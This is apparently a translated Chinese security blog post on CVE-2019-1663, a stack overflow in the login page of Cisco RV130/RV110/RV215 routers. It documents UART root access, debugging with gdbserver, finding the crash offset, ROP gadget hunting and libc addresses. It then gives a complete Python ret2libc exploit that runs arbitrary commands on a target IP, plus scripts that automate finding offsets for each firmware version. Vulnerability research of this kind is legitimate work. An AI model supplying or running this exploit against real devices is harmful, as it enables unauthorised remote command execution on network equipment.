深入分析CVE-2019-1663漏洞
2019-09-11 11:02:51 Author: www.4hou.com(查看原文) 阅读量:141 收藏

几个月前,Pentest Partners网站发表了一篇文章,对影响思科的多款低端设备(RV110、RV130和RV225)的堆栈缓冲区溢出漏洞CVE-2019-1663进行了详细的介绍。

实际上,我一直非常怀念分析ARM平台的二进制漏洞的美好时光,这下终于有机会重温旧梦了。

获取一个真实的目标

最初,我是通过一个由QEMU、解压缩的固件和libnvram搭建的平台上复现这个漏洞的攻击过程的,遗憾的是,在这个平台上开发的漏洞利用代码是无法应用于真正的思科设备上的,因为在这个平台上面计算出来的偏移值不适用于物理设备。因此,我在eBay上订购了一个二手的思科设备。

对于思科设备来说,我还是比较熟悉的,所以,我觉得可以轻松地通过SSH或控制台电缆在设备上获得一个shell,尴尬的是,该死的RV130设备既不支持SSH也不支持控制台电缆。

为了解决这个问题,我打开了机箱并找到了UART引脚排列,因此,我们可以使用[@XipiterSec]提供的Shikra(一种基于FTDI32的设备)进行连接。

1.jpg

由于手头上面没有逻辑分析仪,所以我通过反复试验确定了其波特率(正确的波特率为38400)。一旦设备启动,我们就能得到梦寐以求的具有root权限的shell了!

U-Boot 2008.10-mpcore-svn4057 (Mar 30 2017 - 17:03:34)
Cavium Networks CNS3XXX SDK v1.2-2515 CNS3420vb2x parallel flash
 
CyberTan U-Boot Version: 1.0.3.28
 
CPU: Cavium Networks CNS3000
ID Code: 410fb024 (Part number: 0xB02, Revision number: 4)
CPU ID: 900
Chip Version: c
Boot from parallel flash
 
--boot log--
BusyBox v1.7.2 (2017-03-30 17:11:36 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
 
# id
uid=0 gid=0
# uname -avr
Linux RV130W 2.6.31.1-cavm1 #1 Thu Mar 30 17:04:29 CST 2017 armv6l unknown

下面,我们开始复现该漏洞!

复现漏洞

在Pentest Partners的文章中,给出了一个如下所示的示例请求:

POST /login.cgi HTTP/1.1
Host: 192.168.22.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.22.158/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 571
 
submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1
&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZ
&sel_lang=EN

首先,我们需要在自己的设备上安装gdbserver,并将其附加到我们正在运行的http服务器上面。为此,我们从Hugsy(GEF的创建者)的[repo](https://github.com/hugsy/gdb-static/)中下载了适用于ARMv6l平台的静态链接版本的gdbserver。

# cd /tmp/# wget http://192.168.1.100:8000/gdbserverConnecting to 192.168.1.100:8000 (192.168.1.100:8000)
gdbserver            100% |*******************************|  1599k --:--:-- ETA
# chmod +x gdbserver# ps w | grep httpd
  808 0          5028 S   httpd
  816 0          5092 S   httpd -S
# ./gdbserver --attach :1234 816Attached; pid = 816
Listening on port 1234

现在,我们可以使用gdb-multiarch远程连接到gdbserver。此外,我们还可以使用以下GDB初始化文件来简化操作:

set architecture arm
set follow-fork-mode child
file /home/quentin/research/RV130/squashfs-root/usr/sbin/httpd
set solib-search-path /home/quentin/research/RV130/squashfs-root/lib
target remote 192.168.1.1:1234

提交示例请求后,您将看到如下所示的segfault错误。漏洞被成功复现了!

1.png

识别缓冲区长度

要想知道让strcpy函数所用的缓冲区发生溢出需要多少字节的填充物,我们可以使用gef程序的“pattern create”和“pattern search”命令。

gef➤ pattern create 512
[+] Generating a pattern of 512 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
zaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
zaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
zaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
zaafbaafcaaf
[+] Saved as '$_gef0'

下面使用这个模式来触发崩溃:

curl -i -k -X POST https://192.168.1.1/login.cgi -d 'submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1&user=cisco&pwd=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf&sel_lang=EN'

当这个可执行文件尝试运行地址0x616d6560处的指令时,就会发生崩溃:

gef➤  c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0x616d6560 in ?? ()

现在,我们可以通过搜索相应的模式来确定偏移量。请注意,这里搜索的模式是“0x616d6561”而非“0x616d6560”,因为当最低有效位为偶数时,ARM CPU讲切换到Thumb模式。

gef➤  pattern search 0x616d6561
[+] Searching '0x616d6561'
[+] Found at offset 446 (little-endian search) likely

现在可以确定,我们的exploit payload的填充字节的长度为446字节时,以便才能使缓冲区发生溢出并控制程序计数器。

Ret2Libc

1.jpeg

我们的第一个exploit将利用“return to libc”技术,该技术背后的思想很简单:与先执行ROP链来让栈变成可执行的,然后使程序计数器指向栈以执行shellcode代码不同,我们只需设法让r0(第一个参数)指向栈,然后直接调用“system”函数即可。

为此,我们需要获得:

 – system函数执行映射时libc的基址

 – system函数在libc中的偏移地址

 – 一个将堆栈指针值复制到r0寄存器的gadget

 – 一个用于从栈中弹出程序计数器以调用system函数的gadget

通过实时调试会话,我们可以轻松找到所需的地址。首先,我们可以通过调用vmmap来查看内存映射情况。正如我们在下面的输出中所看到的,libc被映射到0x357fb000地址。

gef➤  vmmap
Start      End        Offset     Perm Path
0x00008000 0x00099000 0x00000000 r-x /usr/sbin/httpd
0x000a0000 0x000a9000 0x00090000 rwx /usr/sbin/httpd
0x000a9000 0x000de000 0x00000000 rwx [heap]
0x35556000 0x35557000 0x00000000 rwx
0x35558000 0x3555d000 0x00000000 r-x /lib/ld-uClibc.so.0
0x35564000 0x35565000 0x00004000 r-x /lib/ld-uClibc.so.0
0x35565000 0x35566000 0x00005000 rwx /lib/ld-uClibc.so.0
0x35566000 0x3556d000 0x00000000 r-x /usr/lib/libnvram.so
0x3556d000 0x35574000 0x00000000 ---
0x35574000 0x35575000 0x00006000 rwx /usr/lib/libnvram.so
0x35575000 0x3557d000 0x00000000 rwx
0x3557d000 0x355d7000 0x00000000 r-x /usr/lib/libshared.so
0x355d7000 0x355de000 0x00000000 ---
0x355de000 0x355e4000 0x00059000 rwx /usr/lib/libshared.so
0x355e4000 0x355ed000 0x00000000 rwx
0x355ed000 0x35608000 0x00000000 r-x /usr/lib/libcbt.so
0x35608000 0x35610000 0x00000000 ---
0x35610000 0x35611000 0x0001b000 rwx /usr/lib/libcbt.so
0x35611000 0x35612000 0x00000000 r-x /usr/lib/librogueap.so
0x35612000 0x3561a000 0x00000000 ---
0x3561a000 0x3561b000 0x00001000 rwx /usr/lib/librogueap.so
0x3561b000 0x35672000 0x00000000 r-x /usr/lib/libssl.so.1.0.0
0x35672000 0x3567a000 0x00000000 ---
0x3567a000 0x35680000 0x00057000 rwx /usr/lib/libssl.so.1.0.0
0x35680000 0x357dd000 0x00000000 r-x /usr/lib/libcrypto.so.1.0.0
0x357dd000 0x357e4000 0x00000000 ---
0x357e4000 0x357f9000 0x0015c000 rwx /usr/lib/libcrypto.so.1.0.0
0x357f9000 0x357fb000 0x00000000 rwx
0x357fb000 0x35858000 0x00000000 r-x /lib/libc.so.0
0x35858000 0x35860000 0x00000000 ---
0x35860000 0x35861000 0x0005d000 r-x /lib/libc.so.0
0x35861000 0x35862000 0x0005e000 rwx /lib/libc.so.0
0x35862000 0x35867000 0x00000000 rwx
0x35867000 0x35869000 0x00000000 r-x /lib/libdl.so.0
0x35869000 0x35870000 0x00000000 ---
0x35870000 0x35871000 0x00001000 r-x /lib/libdl.so.0
0x35871000 0x35872000 0x00000000 rwx
0x35872000 0x3587c000 0x00000000 r-x /lib/libgcc_s.so.1
0x3587c000 0x35883000 0x00000000 ---
0x35883000 0x35884000 0x00009000 rwx /lib/libgcc_s.so.1
0x35884000 0x35904000 0x00000000 rwx /SYSV00000457(deleted)
0x35904000 0x35984000 0x00000000 r-x /SYSV00000457(deleted)
0x9efaa000 0x9efbf000 0x00000000 rw- [stack]

要获得system函数的偏移量,我们可以使用radare2,具体如下所示:

radare2 -A libc.so.0
[x] Analyze all flags starting with sym. and entry0 (aa)
[Value from 0x00000000 to 0x0005cfec
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x0000bbc0]> afl | grep system
 0x0003ed84    1 72           sym.svcerr_systemerr
 0x0004d144    7 328          sym.system

或者使用下列命令:

gef➤  b system
Breakpoint 1 at 0x35848144

来自GDB的值只是该函数的偏移地址(也就是说,需要将偏移地址0x0004d144与libc库的映射地址0x357fb000相加后,才是该函数的地址)。

现在,我们已经找到了system函数的地址,接下来,我们开始寻找所需的gadget。为此,这里将借助于Ropper

(ropper)> file libc.so.0
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(libc.so.0/ELF/ARM)> search mov r0, sp
[INFO] Searching for gadgets: mov r0, sp
 
[INFO] File: libc.so.0
0x00010d08: mov r0, sp; bl #0xba64; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
0x00028700: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x10; pop {r4, r5, r6, pc};
0x00028764: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x14; pop {r4, r5, pc};
0x00018964: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
0x0002868c: mov r0, sp; bl #0xba64; mov r0, r6; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
0x0004ab0c: mov r0, sp; bl #0xf170; add sp, sp, #0xc; pop {r4, r5, pc};
0x00041308: mov r0, sp; blx r2;
0x00041308: mov r0, sp; blx r2; add sp, sp, #0x1c; ldm sp!, {pc}; mov r0, #1; bx lr;
0x00037884: mov r0, sp; blx r3;
--snip--

在我看来,最吸引人的是位于0x00041308处的代码,这意味着我们需要找到一个能把r2从堆栈中弹出的gadget。

(libc.so.0/ELF/ARM)> search pop {r2
[INFO] Searching for gadgets: pop {r2
 
[INFO] File: libc.so.0
0x00052620: pop {r2, r3}; bx lr;
0x00052620: pop {r2, r3}; bx lr; push {r1, lr}; mov r0, #8; bl #0xbba8; pop {r1, pc};

好像没有那么吸引人,让我们切换到Thumb模式,看看是否有什么新发现:

(libc.so.0/ELF/ARM)> arch ARMTHUMB
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc.so.0/ELF/ARMTHUMB)> search pop {r2
[INFO] Searching for gadgets: pop {r2
 
[INFO] File: libc.so.0
0x000060b8 (0x000060b9): pop {r2, r3, r4, r5, pc};
0x0003d1bc (0x0003d1bd): pop {r2, r3, r4, r5, r6, pc};
0x00020b98 (0x00020b99): pop {r2, r3, r4, r5, r6, r7, pc};
0x00053294 (0x00053295): pop {r2, r3, r4, r5, r7, pc};
0x0002a0e4 (0x0002a0e5): pop {r2, r3, r4, r6, r7, pc};
0x00027b80 (0x00027b81): pop {r2, r3, r4, r7, pc};
0x00020bd8 (0x00020bd9): pop {r2, r3, r5, r6, r7, pc};
0x0003d11c (0x0003d11d): pop {r2, r3, r5, r7, pc};
0x00020e38 (0x00020e39): pop {r2, r4, r6, pc};
0x00006eb8 (0x00006eb9): pop {r2, r5, r6, r7, pc};
0x00020e78 (0x00020e79): pop {r2, r6, pc};
0x000209f6 (0x000209f7): pop.w {r2, r6, r7, sl, ip, lr}; movs r4, r0; lsls r4, r1, #0x1d; movs r0, r0; blx lr;
0x000443ae (0x000443af): pop.w {r2, r6, r8, sb, fp, ip}; movs r2, r0; strh r4, [r0, r7]; movs r0, r0; blx lr;

好多了。我将选用位于0x00020e79地址处的gadget。

最小化的可行漏洞利用代码

因此,我们可以用Python编写一个快餐式的最小化可行产品:

#!/usr/bin/env python
"""
Exploit for Cisco RV130 stack-based buffer overflow (CVE-2019-1663).
 
This piece of code will execute a command on the device by using ret2libc
technique.
"""
import struct
import sys
import requests
 
offset = 446
libc_base_addr = 0x357fb000
system_offset = 0x0004d144
gadget1 = 0x00020e79 # pop {r2, r6, pc};
gadget2 = 0x00041308 # mov r0, sp; blx r2;
 
def exploit(ip, cmd):
 
    buf = "A" * offset
    buf += struct.pack("<L", libc_base_addr + gadget1)
    buf += struct.pack("<L", libc_base_addr + system_offset) # r2
    buf += "XXXX"                                            # r6
    buf += struct.pack("<L", libc_base_addr + gadget2) #pc
    buf += cmd
 
    params = {
        "submit_button": "login",
        "submit_type": None,
        "gui_action": None,
        "wait_time": 0,
        "change_action": None,
        "enc": 1,
        "user": "cisco",
        "pwd": buf,
        "sel_lang": "EN"
    }
    requests.post("https://%s/login.cgi" % ip, data=params, verify=False)
 
if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("Usage: %s ip cmd" % (sys.argv[0]))
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

上面的漏洞利用代码将执行下列操作:

首先,使用gadget1的地址覆盖程序计数器。当执行gadget1 (pop {r2, r6, pc})时,堆栈的布局情况如下所示:

1.png

这意味着r2寄存器中存放的是system函数的地址,而r6寄存器存放的是一个随机地址,程序计数器中存放的是gadget2的地址,也就是转移程序流程的目标地址。

执行gadget2时,堆栈的布局如下所示:

1.png

然后,我们就可以跳转到r2寄存器保存的system函数的地址处,并以r0作为该函数的参数。由于r0指向堆栈,所以,system函数将执行我们的命令。

实现Exploit编写的流水线化

对于RV130这款设备来说,这个漏洞的利用代码还是很容易编写的,因为不同的版本之间libc.so基本没有发生变化,这意味着对于所有的固件版本而言,所有偏移地址都是相同的:

find -name "libc.so.0" -exec sha1sum {} \;
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.0.21/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.1.3/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.2.7./lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.14/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.16/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.22/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.28/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.44/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.45/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.51/lib/libc.so.0

然而,当修改Metasploit模块以支持RV110W和RV215W设备时,我需要不断重复一项任务:为每个固件版本寻找对应的偏移地址。

因此,我通过radare2和Ropper的脚本功能编写了两个脚本来替我完成这项任务。

第一个脚本可以根据提供的libc文件自动返回system函数的地址:

#!/usr/bin/env python
import sys
import json
import r2pipe
import os
 
def get_system_offset(executable):
    """
    Args:
        executable(str): path to ELF file
    Returns:
        offset(int): address of system
    """
    r = r2pipe.open(executable, flags=['-2'])
    r.cmd('aa')
    functions = json.loads(r.cmd("aflj"))
    for f in functions:
        if f['name'] == 'sym.system':
            return hex(f['offset'])
    r.quit()
 
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: {} executable_path".format(sys.argv[0]))
        sys.exit(-1)
 
    print("{} - {}".format(sys.argv[1], get_system_offset(sys.argv[1])))

下面是该脚本在所有RV110固件版本中找到的system函数的偏移地址:

find -type f -name 'libc.so.0' -exec ./find_system.py {} \;
./firmwares/RV110W_FW_1.1.0.9/lib/libc.so.0 - 0x50d40
./firmwares/RV110W_FW_1.2.0.9/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.0.10/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.1.4/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.1.7/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.2.1/lib/libc.so.0 - 0x50d40
./firmwares/RV110W_FW_1.2.2.4/lib/libc.so.0 - 0x4c7e0

第二个脚本可用于在文件中查找给定gadget的偏移地址:

#!/usr/bin/env python
from ropper import RopperService
import sys
# not all options need to be given
options = {'color' : False,     # if gadgets are printed, use colored output: default: False
            'badbytes': '00',   # bad bytes which should not be in addresses or ropchains; default: ''
            'all' : False,      # Show all gadgets, this means to not remove double gadgets; default: False
            'inst_count' : 6,   # Number of instructions in a gadget; default: 6
            'type' : 'all',     # rop, jop, sys, all; default: all
            'detailed' : False} # if gadgets are printed, use detailed output; default: False
 
rs = RopperService(options)
 
##### change options ######
rs.options.color = True
rs.options.badbytes = '00'
rs.options.badbytes = ''
rs.options.all = True
 
##### open binaries ######
# it is possible to open multiple files
rs.addFile(sys.argv[1], arch='MIPS')
 
# load gadgets for all opened files
rs.loadGadgetsFor()
 
result_dict = rs.searchdict(search=sys.argv[2])
for file, gadgets in result_dict.items():
    print file
    for gadget in gadgets:
        print hex(gadget.address), gadget

下面是该脚本的执行结果:

find -name "libcrypto.so" -exec ./search_gadget.py {} 'addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;' \;
./RV110W_FW_1.1.0.9/usr/lib/libcrypto.so
0x167c8cL 0x00167c8c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.0.9/usr/lib/libcrypto.so
0x167c4cL 0x00167c4c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.0.10/usr/lib/libcrypto.so
0x151fbcL 0x00151fbc: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.1.4/usr/lib/libcrypto.so
0x5059cL 0x0005059c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.1.7/usr/lib/libcrypto.so
0x3e7dcL 0x0003e7dc: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;

小结

我们希望本文对读者能够有所帮助。对于想要利用该漏洞的渗透测试人员来说,还可以使用支持所有受影响的设备和固件版本的Metasploit模块

此外,如果您有任何疑问,欢迎通过Twitteremail随时与我联系!


文章来源: https://www.4hou.com/vulnerable/20240.html
如有侵权请联系:admin#unsafe.sh